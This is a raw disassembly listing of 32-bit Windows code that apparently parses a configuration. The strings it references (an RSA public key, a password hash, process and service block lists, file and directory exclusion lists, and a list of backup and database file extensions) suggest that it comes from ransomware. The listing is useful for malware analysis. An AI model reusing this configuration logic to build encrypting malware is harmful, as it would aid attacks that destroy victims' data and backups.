movsd xmm0, qword [esp + 0x380]
movsd xmm1, qword [esp + 0x388]
movsd qword [edi + 0x1c8], xmm0
movsd xmm0, qword [esp + 0x390]
movsd qword [edi + 0x1d0], xmm1
movsd qword [edi + 0x1d8], xmm0
movsd xmm0, qword [esp + 0x48]
movsd qword [edi + 0x1f0], xmm0
movsd xmm0, qword [esp + 0x38]
movsd xmm1, qword [esp + 0x40]
movsd qword [edi + 0x1e8], xmm1
movsd qword [edi + 0x1e0], xmm0
movsd xmm0, qword [esp + 0xa8]
movsd xmm1, qword [esp + 0xb0]
movsd qword [edi + 0x1f8], xmm0
movsd qword [edi + 0x200], xmm1
movsd xmm0, qword [esp + 0xb8]
movsd qword [edi + 0x208], xmm0
movsd xmm0, qword [esp + 0x58]
movsd xmm1, qword [esp + 0x60]
movsd qword [edi + 0x210], xmm0
movsd qword [edi + 0x218], xmm1
movsd xmm0, qword [esp + 0x68]
movsd qword [edi + 0x220], xmm0
movsd xmm0, qword [esp + 0xc0]
movsd xmm1, qword [esp + 0xc8]
movsd qword [edi + 0x228], xmm0
movsd qword [edi + 0x230], xmm1
movsd xmm0, qword [esp + 0xd0]
movsd qword [edi + 0x238], xmm0
movsd xmm0, qword [esp + 0x398]
movsd xmm1, qword [esp + 0x3a0]
movsd qword [edi + 0x240], xmm0
movsd qword [edi + 0x248], xmm1
movsd xmm0, qword [esp + 0x3a8]
movsd qword [edi + 0x250], xmm0
mov byte [edi + 0x258], 3
mov dword [edi + 0x25c], eax
mov dword [edi + 0x260], 2
mov dword [edi + 0x264], 2
mov dword [esp + 0x39c], edi
mov dword [esp + 0x3a0], 0x1a
mov dword [esp + 0x3a4], 0x1a
mov byte [esp + 0x398], 4
push esi
push 0x17
push str.file_pattern_white_list
call fcn.1012e680
add esp, 0xc
mov esi, eax
mov ecx, eax
call fcn.10043330
movsd xmm0, qword [esp + 0x3a8]
movsd qword [esi + 0x10], xmm0
movsd xmm0, qword [esp + 0x398]
movsd xmm1, qword [esp + 0x3a0]
movsd qword [esi + 8], xmm1
movsd qword [esi], xmm0
movsd xmm2, qword [esp + 0x470]
movsd xmm0, qword [esp + 0x480]
movsd xmm1, qword [esp + 0x478]
movsd qword [esp + 0xa8], xmm2
movsd qword [esp + 0xb8], xmm0
movsd qword [esp + 0xb0], xmm1
movzx eax, byte [esp + 0xa8]
cmp eax, 4
je 0x10051408
cmp eax, 5
jne 0x1005145f
mov eax, dword [esp + 0xac]
mov edi, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb0]
xor edx, edx
mov dword [esp + 0x18c], 0
mov dword [esp + 0x198], 0
mov dword [esp + 0x180], 0
mov dword [esp + 0x1b8], 0
mov dword [esp + 0x1d0], 0
mov dword [esp + 0x200], 0
mov dword [esp + 0x218], 0
mov dword [esp + 0x230], 0
mov dword [esp + 0x248], 0
mov dword [esp + 0x260], 0
mov dword [esp + 0x278], 0
mov dword [esp + 0x2f0], 0
mov dword [esp + 0x1e8], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 8], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x9c], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x54], 0
mov dword [esp + 4], 0
test eax, eax
mov dword [esp + 0x1b4], edi
setne dl
cmove edi, eax
xor ebx, ebx
xor esi, esi
mov dword [esp + 0x70], edx
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x80], edx
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], ecx
mov dword [esp + 0x90], edi
xor edi, edi
mov byte [esp + 0x58], 6
nop
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x70]
call fcn.10047a70
mov eax, esi
mov esi, ebx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xc0]
test eax, eax
je 0x100514c1
mov ecx, dword [esp + 0xc8]
lea ecx, [ecx + ecx*2]
movzx ebx, byte [eax + ecx*8]
cmp bl, 6
je 0x100514c1
mov edi, dword [eax + ecx*4 + 0x114]
lea edx, [eax + ecx*8]
cmp byte [esp + 0x58], 6
mov dword [esp + 0x40], edi
movsd xmm0, qword [eax + ecx*4 + 0x10c]
movsd qword [esp + 0x38], xmm0
movsd xmm0, qword [edx + 0x10]
movsd qword [esp + 0xcf], xmm0
movsd xmm0, qword [edx + 1]
movsd xmm1, qword [edx + 9]
movsd qword [esp + 0xc8], xmm1
movsd qword [esp + 0xc0], xmm0
je 0x10050849
lea ecx, [esp + 0x58]
call fcn.10043330
movsd xmm0, qword [esp + 0xcf]
movsd xmm2, qword [esp + 0xc0]
movsd xmm1, qword [esp + 0xc8]
mov edi, dword [esp + 0x38]
lea eax, [esp + 0x70]
mov byte [esp + 0x58], bl
mov ebx, dword [esp + 0x3c]
movsd qword [eax - 8], xmm0
movsd qword [eax - 0xf], xmm1
movsd qword [eax - 0x17], xmm2
mov eax, dword [esp + 0x40]
test edi, edi
je 0x100508d0
lea ecx, [esp + 0xc0]
mov edx, edi
push eax
call fcn.10062ca0
add esp, 4
test ebx, ebx
je 0x100508b0
push edi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp byte [esp + 0xc0], 0
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x2c]
je 0x100508f8
jmp 0x10051a2c
lea ecx, [esp + 0xc0]
mov edx, ebx
push eax
call fcn.10062ca0
add esp, 4
cmp byte [esp + 0xc0], 0
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x2c]
jne 0x10051a2c
movzx eax, byte [esp + 0xc1]
mov ebx, esi
cmp eax, 0x11
ja 0x10051259
mov eax, dword [eax*4 + 0x10054484]
mov esi, ecx
add eax, dword [esp]
jmp eax
movzx eax, byte [esp + 0x58]
mov byte [esp + 0x58], 6
cmp al, 6
je 0x10051d95
mov esi, ecx
lea ecx, [esp + 0x70]
lea edx, [esp + 0xc1]
movsd xmm0, qword [ecx - 8]
movsd xmm2, qword [ecx - 0x17]
movsd xmm1, qword [ecx - 0xf]
movsd qword [edx + 0xf], xmm0
movsd qword [edx + 8], xmm1
movsd qword [edx], xmm2
mov byte [esp + 0xc0], al
lea ecx, [esp + 0xc0]
call fcn.10043330
jmp 0x100507b0
mov edi, dword [esp + 0xb4]
mov eax, dword [esp + 0xac]
mov edx, dword [esp + 0xb0]
lea ecx, [edi + edi*2]
test edi, edi
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], edx
mov dword [esp + 0x60], eax
lea ecx, [eax + ecx*8]
mov dword [esp + 0x64], ecx
je 0x1005144a
lea edx, [eax + 0x18]
mov dword [esp + 0x60], edx
movzx ebx, byte [eax]
cmp bl, 6
jne 0x10051986
xor ecx, ecx
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x100534eb
mov bl, 1
lea edx, [esp + 0x18]
lea ecx, [esp + 0xa8]
push 0x102cc600
call fcn.1003aa70
add esp, 4
mov dword [esp + 0x2c], eax
xor esi, esi
mov al, 1
movzx ecx, byte [esp + 0xa8]
cmp ecx, 4
je 0x10052bae
cmp ecx, 5
jne 0x100514b0
test al, al
je 0x10052bfe
lea ecx, [esp + 0xac]
call fcn.10045750
jmp 0x10052bfe
lea ecx, [esp + 0xa8]
call fcn.10043330
jmp 0x10052bfe
cmp dword [esp + 0x18c], 0
je 0x10051a67
mov eax, dword [esp + 0x194]
movsd xmm0, qword [esp + 0x18c]
cmp dword [esp + 0x198], 0
mov dword [esp + 0x310], eax
movsd qword [esp + 0x308], xmm0
je 0x10051a7b
mov eax, dword [esp + 0x1a0]
movsd xmm0, qword [esp + 0x198]
cmp dword [esp + 0x180], 0
mov dword [esp + 0x328], eax
movsd qword [esp + 0x320], xmm0
je 0x10051ad9
mov eax, dword [esp + 0x188]
movsd xmm0, qword [esp + 0x180]
cmp dword [esp + 0x1b8], 0
mov dword [esp + 0x298], eax
movsd qword [esp + 0x290], xmm0
je 0x10051b32
mov eax, dword [esp + 0x1c0]
movsd xmm0, qword [esp + 0x1b8]
cmp dword [esp + 0x1d0], 0
mov dword [esp + 0x2b0], eax
movsd qword [esp + 0x2a8], xmm0
je 0x10051c46
mov eax, dword [esp + 0x1d8]
movsd xmm0, qword [esp + 0x1d0]
cmp dword [esp + 0x24], 0
mov dword [esp + 0x2c8], eax
movsd qword [esp + 0x2c0], xmm0
je 0x10051cbb
mov eax, dword [esp + 0x208]
movsd xmm0, qword [esp + 0x200]
cmp dword [esp + 0x28], 0
mov dword [esp + 0x2e0], eax
movsd qword [esp + 0x2d8], xmm0
je 0x10052084
mov eax, dword [esp + 0x220]
movsd xmm0, qword [esp + 0x218]
cmp dword [esp + 8], 0
mov dword [esp + 0x340], eax
movsd qword [esp + 0x338], xmm0
je 0x100520d3
mov eax, dword [esp + 0x238]
movsd xmm0, qword [esp + 0x230]
cmp dword [esp + 0x20], 0
mov dword [esp + 0x358], eax
movsd qword [esp + 0x350], xmm0
je 0x1005239d
mov eax, dword [esp + 0x250]
movsd xmm0, qword [esp + 0x248]
test esi, esi
mov dword [esp + 0x370], eax
movsd qword [esp + 0x368], xmm0
je 0x100523c7
mov eax, dword [esp + 0x268]
movsd xmm0, qword [esp + 0x260]
cmp dword [esp + 0x2c], 0
mov dword [esp + 0x388], eax
movsd qword [esp + 0x380], xmm0
je 0x100523eb
mov eax, dword [esp + 0x280]
movsd xmm0, qword [esp + 0x278]
cmp dword [esp + 4], 0
mov edx, 4
mov dword [esp + 0x40], eax
movsd qword [esp + 0x38], xmm0
je 0x10052426
cmp dword [esp + 0x10], 0
je 0x100524c0
cmp dword [esp + 0xc], 0
je 0x100524ca
cmp dword [esp + 0x1c], 0
mov edx, 1
je 0x100524de
cmp dword [esp + 0x9c], 0
je 0x10052545
cmp dword [esp + 0x14], 0
je 0x10052c70
mov eax, dword [esp + 0x2f8]
movsd xmm0, qword [esp + 0x2f0]
cmp dword [esp + 0x30], 0
mov dword [esp + 0xc8], eax
movsd qword [esp + 0xc0], xmm0
je 0x10052c9c
movsd xmm0, qword [esp + 0x18c]
mov eax, dword [esp + 0x194]
mov ecx, dword [esp + 0x1a0]
mov edx, dword [esp + 0x188]
cmp dword [esp + 0x90], 0
movsd qword [esp + 0x3c0], xmm0
movsd xmm0, qword [esp + 0x198]
mov dword [esp + 0x3c8], eax
mov dword [esp + 0x3d4], ecx
mov ecx, dword [esp + 0x1c0]
movsd qword [esp + 0x3cc], xmm0
movsd xmm0, qword [esp + 0x180]
mov dword [esp + 0x3e0], edx
mov edx, dword [esp + 0x1d8]
movsd qword [esp + 0x3d8], xmm0
movsd xmm0, qword [esp + 0x1b8]
mov dword [esp + 0x3ec], ecx
mov ecx, dword [esp + 0x208]
movsd qword [esp + 0x3e4], xmm0
movsd xmm0, qword [esp + 0x1d0]
mov dword [esp + 0x3f8], edx
mov edx, dword [esp + 0x220]
movsd qword [esp + 0x3f0], xmm0
movsd xmm0, qword [esp + 0x200]
mov dword [esp + 0x404], ecx
mov ecx, dword [esp + 0x238]
movsd qword [esp + 0x3fc], xmm0
movsd xmm0, qword [esp + 0x218]
mov dword [esp + 0x410], edx
mov edx, dword [esp + 0x250]
movsd qword [esp + 0x408], xmm0
movsd xmm0, qword [esp + 0x230]
mov dword [esp + 0x41c], ecx
mov ecx, dword [esp + 0x268]
movsd qword [esp + 0x414], xmm0
movsd xmm0, qword [esp + 0x248]
mov dword [esp + 0x428], edx
mov edx, dword [esp + 0x280]
movsd qword [esp + 0x420], xmm0
movsd xmm0, qword [esp + 0x260]
mov dword [esp + 0x434], ecx
mov ecx, dword [esp + 0x2f8]
movsd qword [esp + 0x42c], xmm0
movsd xmm0, qword [esp + 0x278]
mov dword [esp + 0x440], edx
mov edx, dword [esp + 0x178]
movsd qword [esp + 0x438], xmm0
mov dword [esp + 0x44c], ecx
movsd xmm0, qword [esp + 0x2f0]
mov ecx, dword [esp + 0x54]
movsd qword [esp + 0x444], xmm0
mov dword [esp + 0x398], edx
mov dword [esp + 0x39c], ecx
mov ecx, dword [esp + 0x1a4]
mov edx, dword [esp + 0x17c]
mov dword [esp + 0x3a0], ecx
mov ecx, dword [esp + 0x1a8]
mov dword [esp + 0x3a4], edx
mov edx, dword [esp + 0xa0]
mov dword [esp + 0x3a8], ecx
mov ecx, dword [esp + 0x1ac]
mov dword [esp + 0x3ac], edx
mov edx, dword [esp + 0x98]
mov dword [esp + 0x3b0], ecx
mov ecx, dword [esp + 0x1b0]
mov dword [esp + 0x3b4], edx
mov edx, dword [esp + 0xa4]
mov dword [esp + 0x3b8], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x3bc], edx
mov edx, dword [esp + 0x1ec]
mov dword [esp + 0x450], ecx
mov ecx, dword [esp + 0x1f0]
mov dword [esp + 0x454], edx
mov dword [esp + 0x458], ecx
je 0x10052d37
mov ecx, dword [esp + 0x1b4]
mov edx, 0x102cc5c8
call fcn.100489b0
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x398]
call fcn.100452e0
mov dword [esp + 0x30], 0
jmp 0x10052d77
mov byte [esp + 0xc0], bl
cmp bl, 3
movsd xmm0, qword [eax + 1]
movsd xmm1, qword [eax + 9]
movsd qword [esp + 0xc1], xmm0
movsd qword [esp + 0xc9], xmm1
movsd xmm0, qword [eax + 0x10]
movsd qword [esp + 0xd0], xmm0
jne 0x10051a38
mov ebx, dword [esp + 0xc4]
mov esi, dword [esp + 0xc8]
test ebx, ebx
je 0x10051a5e
mov dword [esp + 0x14], esi
mov esi, dword [esp + 0xcc]
mov dword [esp + 0x1e8], ebx
cmp edx, ecx
mov dword [esp], ebx
mov dword [esp + 0x1f0], esi
mov esi, dword [esp + 0x14]
mov dword [esp + 0x1ec], esi
je 0x10051a11
lea edx, [eax + 0x30]
mov dword [esp + 0x60], edx
movzx ebx, byte [eax + 0x18]
cmp bl, 6
jne 0x10051b7f
mov ecx, 1
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
mov ebx, dword [esp]
jmp 0x100534d8
mov esi, dword [esp + 0xc4]
jmp 0x10051df5
lea edx, [esp + 0x18]
lea ecx, [esp + 0xc0]
push 0x102cc5f0
call fcn.1003aa70
add esp, 4
mov esi, eax
lea ecx, [esp + 0xc0]
call fcn.10043330
mov dword [esp + 0x2c], esi
jmp 0x100534eb
mov ecx, str.public_rsa_pem
mov edx, 0xe
call fcn.10048960
jmp 0x10051df3
mov ecx, str.password_hash
mov edx, 0xd
call fcn.10048960
mov esi, eax
mov al, 1
mov bl, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
mov al, 1
mov dword [esp + 0x10], eax
mov al, 1
mov dword [esp + 0xc], eax
mov al, 1
mov dword [esp + 0x1c], eax
mov al, 1
mov dword [esp + 0x28], eax
mov al, 1
mov dword [esp + 0x14], eax
mov al, 1
mov dword [esp], eax
jmp 0x1005275c
mov ecx, str.directory_black_list
mov edx, 0x14
call fcn.10048960
mov esi, eax
mov al, 1
mov bl, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
mov al, 1
mov dword [esp + 0x10], eax
mov al, 1
mov dword [esp + 0xc], eax
mov al, 1
mov dword [esp + 0x1c], eax
mov al, 1
mov dword [esp + 0x28], eax
mov al, 1
mov dword [esp + 0x14], eax
jmp 0x10052736
mov ecx, str.white_symlink_dirsClusterStoragewhite_symlink_subdirsmdfldfbakvibvbkvbmvrbabkbkzsqbtrnbackupoldpfipbfdimghovpcbackuparcmtfbkf
mov edx, 0x12
call fcn.10048960
mov dword [esp + 0x2c], eax
mov al, 1
mov dword [esp], eax
mov al, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
mov al, 1
mov dword [esp + 0x10], eax
mov al, 1
mov dword [esp + 0xc], eax
mov al, 1
mov dword [esp + 0x1c], eax
mov al, 1
mov dword [esp + 0x28], eax
jmp 0x100526cf
mov byte [esp + 0xc0], bl
cmp bl, 3
movsd xmm0, qword [eax + 0x19]
movsd xmm1, qword [eax + 0x21]
movsd qword [esp + 0xc1], xmm0
movsd qword [esp + 0xc9], xmm1
movsd xmm0, qword [eax + 0x28]
movsd qword [esp + 0xd0], xmm0
jne 0x10051c8d
mov esi, dword [esp + 0xc4]
mov ebx, dword [esp + 0xc8]
test esi, esi
je 0x100520bf
mov dword [esp + 0x24], ebx
mov ebx, dword [esp + 0xcc]
mov dword [esp + 0x28], esi
mov dword [esp + 0x308], esi
cmp edx, ecx
mov dword [esp + 0x2c], ebx
mov ebx, dword [esp + 0x24]
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x30c], ebx
mov dword [esp + 0x310], esi
je 0x10051c17
lea ecx, [eax + 0x48]
mov dword [esp + 0x60], ecx
movzx ecx, byte [eax + 0x30]
cmp cl, 6
jne 0x100522f1
mov ecx, 2
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
mov esi, dword [esp + 0x14]
mov ebx, dword [esp]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
test eax, eax
jne 0x100534c9
jmp 0x100534d8
mov ecx, 0x102cedc0
mov edx, 0x15
call fcn.10048960
mov dword [esp + 0x2c], eax
mov al, 1
mov dword [esp], eax
mov al, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
mov al, 1
mov dword [esp + 0x10], eax
mov al, 1
mov dword [esp + 0xc], eax
mov al, 1
mov dword [esp + 0x1c], eax
jmp 0x1005266f
lea edx, [esp + 0x18]
lea ecx, [esp + 0xc0]
push 0x102cc5f0
call fcn.1003aa70
add esp, 4
mov ebx, dword [esp]
mov edi, eax
lea ecx, [esp + 0xc0]
call fcn.10043330
jmp 0x100520ca
mov ecx, str.file_black_list
mov edx, 0xf
call fcn.10048960
mov dword [esp + 0x2c], eax
mov al, 1
mov dword [esp], eax
mov al, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
mov al, 1
mov dword [esp + 0x10], eax
mov al, 1
mov dword [esp + 0xc], eax
jmp 0x10052611
call fcn.10048bc0
jmp 0x10051df3
mov esi, eax
mov al, 1
mov bl, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
mov al, 1
mov dword [esp + 0x10], eax
mov al, 1
mov dword [esp + 0xc], eax
mov al, 1
mov dword [esp + 0x1c], eax
mov al, 1
mov dword [esp + 0x28], eax
mov al, 1
mov dword [esp + 0x14], eax
mov al, 1
mov dword [esp], eax
mov al, 1
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x1e8]
test eax, eax
jne 0x1005278e
jmp 0x100527a7
mov ecx, str.file_pattern_black_list
mov edx, 0x17
call fcn.10048960
mov dword [esp + 0x2c], eax
mov al, 1
mov dword [esp], eax
mov al, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
mov al, 1
mov dword [esp + 0x10], eax
jmp 0x100525bb
mov eax, dword [esp]
mov esi, dword [esp + 0x14]
mov edi, ebx
mov ebx, eax
mov dword [esp + 0x2c], edi
jmp 0x100534d8
mov ecx, str.file_pattern_white_list
mov edx, 0x17
call fcn.10048960
mov esi, eax
mov al, 1
mov bl, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 4], eax
jmp 0x100525a0
mov byte [esp + 0xc0], cl
movsd xmm0, qword [eax + 0x31]
movsd xmm1, qword [eax + 0x39]
movsd qword [esp + 0xc1], xmm0
movsd qword [esp + 0xc9], xmm1
movsd xmm0, qword [eax + 0x40]
movsd qword [esp + 0xd0], xmm0
lea ecx, [esp + 0x38]
lea edx, [esp + 0xc0]
call fcn.10049c80
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x38]
mov ebx, dword [esp]
test ecx, ecx
je 0x10052409
mov eax, dword [esp + 0x40]
mov dword [esp + 0x320], ecx
mov ebx, dword [esp + 0x3c]
mov dword [esp + 8], ecx
mov esi, eax
mov dword [esp + 0x328], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x324], ebx
cmp eax, dword [esp + 0x64]
je 0x10052385
lea ecx, [eax + 0x18]
mov dword [esp + 0x60], ecx
movzx ecx, byte [eax]
cmp cl, 6
jne 0x10052430
mov ecx, 3
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x10053475
mov ecx, str.process_black_list
mov edx, 0x12
call fcn.10048960
mov esi, eax
mov al, 1
mov bl, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
mov al, 1
mov dword [esp + 0x20], eax
jmp 0x1005258c
mov ecx, str.win_services_black_list
mov edx, 0x17
call fcn.10048960
mov esi, eax
mov al, 1
mov bl, 1
mov dword [esp + 8], eax
mov al, 1
mov dword [esp + 0x30], eax
jmp 0x10052578
mov ecx, str.accountsstepskipfastnp
mov edx, 8
call fcn.10048960
mov esi, eax
mov bl, 1
mov al, 1
mov dword [esp + 8], eax
jmp 0x10052564
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
test eax, eax
jne 0x100534c9
jmp 0x100534d8
mov ecx, 0x102cef00
jmp 0x1005254a
mov byte [esp + 0xc0], cl
movsd xmm0, qword [eax + 1]
movsd xmm1, qword [eax + 9]
movsd qword [esp + 0xc1], xmm0
movsd qword [esp + 0xc9], xmm1
movsd xmm0, qword [eax + 0x10]
movsd qword [esp + 0xd0], xmm0
lea ecx, [esp + 0x38]
lea edx, [esp + 0xc0]
call fcn.10049c80
mov eax, dword [esp + 0x38]
test eax, eax
je 0x100524d1
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x290], eax
mov dword [esp + 0x298], edx
mov dword [esp + 0x294], ecx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046440
cmp dword [esp + 0xc0], 0
je 0x100524e5
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x10053469
mov ecx, 0x102cef04
jmp 0x1005254a
mov ecx, 0x102cef08
jmp 0x1005254a
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x2c], eax
jmp 0x10053475
mov ecx, 0x102cef0c
jmp 0x1005254a
mov eax, dword [esp + 0xc4]
test eax, eax
je 0x10052c84
mov edx, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x2a8], eax
mov dword [esp + 0x2ac], ecx
mov dword [esp + 0x2b0], edx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046440
cmp dword [esp + 0xc0], 0
je 0x10052cd7
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x1005345d
mov ecx, 0x102cef0d
call fcn.10048960
mov esi, eax
mov bl, 1
lea ecx, [esp + 0x38]
call fcn.100442e0
mov dword [esp + 8], 0
lea ecx, [esp + 0x380]
call fcn.100442e0
mov dword [esp + 0x30], 0
lea ecx, [esp + 0x368]
call fcn.100442e0
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x350]
call fcn.100442e0
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 0x2c], esi
lea ecx, [esp + 0x338]
call fcn.100442e0
mov dword [esp + 0x10], 0
mov edi, dword [esp + 0x2e0]
mov esi, dword [esp + 0x2d8]
test edi, edi
je 0x100525f0
lea ebx, [esi + 4]
jmp 0x100525d8
add ebx, 0xc
dec edi
je 0x100525f0
cmp dword [ebx], 0
je 0x100525d2
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x100525d2
cmp dword [esp + 0x2dc], 0
je 0x10052609
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0xc], 0
mov edi, dword [esp + 0x2c8]
mov esi, dword [esp + 0x2c0]
test edi, edi
je 0x1005264e
lea ebx, [esi + 4]
jmp 0x10052636
add ebx, 0xc
dec edi
je 0x1005264e
cmp dword [ebx], 0
je 0x10052630
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052630
cmp dword [esp + 0x2c4], 0
je 0x10052667
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x1c], 0
mov edi, dword [esp + 0x2b0]
mov esi, dword [esp + 0x2a8]
test edi, edi
je 0x100526ae
lea ebx, [esi + 4]
jmp 0x10052696
add ebx, 0xc
dec edi
je 0x100526ae
cmp dword [ebx], 0
je 0x10052690
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052690
cmp dword [esp + 0x2ac], 0
je 0x100526c7
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x28], 0
mov edi, dword [esp + 0x298]
mov esi, dword [esp + 0x290]
test edi, edi
je 0x1005270e
lea ebx, [esi + 4]
jmp 0x100526f6
add ebx, 0xc
dec edi
je 0x1005270e
cmp dword [ebx], 0
je 0x100526f0
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x100526f0
cmp dword [esp + 0x294], 0
je 0x10052727
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x2c]
mov ebx, dword [esp]
mov dword [esp + 0x14], 0
cmp dword [esp + 0x324], 0
je 0x10052755
push dword [esp + 0x320]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp], 0
cmp dword [esp + 0x30c], 0
je 0x1005277b
push dword [esp + 0x308]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x1e8]
test eax, eax
je 0x100527a7
cmp dword [esp + 0x1ec], 0
je 0x100527a7
push eax
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x2f0]
mov dword [esp + 0x2c], esi
test eax, eax
je 0x100527d3
test bl, bl
je 0x100527d3
cmp dword [esp + 0x2f4], 0
je 0x100527d3
push eax
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x278]
test esi, esi
je 0x10052837
cmp byte [esp + 8], 0
je 0x10052837
mov edi, dword [esp + 0x280]
test edi, edi
je 0x1005281e
lea ebx, [esi + 4]
jmp 0x10052806
add ebx, 0xc
dec edi
je 0x1005281e
cmp dword [ebx], 0
je 0x10052800
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052800
cmp dword [esp + 0x27c], 0
je 0x10052837
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x260]
test esi, esi
je 0x10052897
cmp byte [esp + 0x30], 0
je 0x10052897
mov edi, dword [esp + 0x268]
test edi, edi
je 0x1005287e
lea ebx, [esi + 4]
jmp 0x10052866
add ebx, 0xc
dec edi
je 0x1005287e
cmp dword [ebx], 0
je 0x10052860
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052860
cmp dword [esp + 0x264], 0
je 0x10052897
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x248]
test esi, esi
je 0x100528f7
cmp byte [esp + 0x20], 0
je 0x100528f7
mov edi, dword [esp + 0x250]
test edi, edi
je 0x100528de
lea ebx, [esi + 4]
jmp 0x100528c6
add ebx, 0xc
dec edi
je 0x100528de
cmp dword [ebx], 0
je 0x100528c0
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x100528c0
cmp dword [esp + 0x24c], 0
je 0x100528f7
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x230]
test esi, esi
je 0x10052957
cmp byte [esp + 4], 0
je 0x10052957
mov edi, dword [esp + 0x238]
test edi, edi
je 0x1005293e
lea ebx, [esi + 4]
jmp 0x10052926
add ebx, 0xc
dec edi
je 0x1005293e
cmp dword [ebx], 0
je 0x10052920
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
